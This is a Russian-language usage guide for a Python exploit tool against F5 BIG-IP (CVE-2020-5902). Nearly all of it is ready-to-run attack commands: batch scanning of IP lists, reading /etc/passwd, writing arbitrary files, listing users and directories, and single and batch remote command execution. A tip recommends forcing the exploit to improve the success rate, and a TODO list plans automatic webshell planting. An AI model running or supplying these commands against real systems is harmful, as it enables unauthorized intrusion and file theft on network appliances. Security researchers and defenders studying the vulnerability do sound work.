Пакетная проверка PoC

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --check -t 20 -s 10

Чтение файла

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --fileread "/etc/passwd"

Запись файла

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --filepath "/tmp/xxx.txt" --filecontent "x"

Список аутентифицированных пользователей

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --list-users

Просмотр каталога

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --listdir "/tmp/"

RCE

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --rce id --still-exploit

Пакетный RCE

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --rce whoami --still-exploit -s 15 -t 20

Проверка обхода hsqldb

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --bypass-hsqldb

Пакетная проверка обхода hsqldb

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --bypass-hsqldb

Примечание

Для пакетной проверки IP-адресов по возможности добавляйте в начало http:// или https://; если протокол не указан, по умолчанию будет добавлен http://

Если условия позволяют, рекомендуется добавлять параметр --still-exploit: даже если list auth user завершится неудачей, RCE всё равно будет выполнен, что повышает вероятность успеха.

TODO

1. Отправлять несколько запросов для повышения вероятности успеха при пакетной проверке; необходимо учитывать баланс с производительностью

2. Интегрировать эксплуатацию десериализации интерфейса hsqldb

3. Добавить автоматическую запись веб-шелла (webshell)

Обратная связь

Issues
lsablog
gmail: [email protected]
qq: [email protected]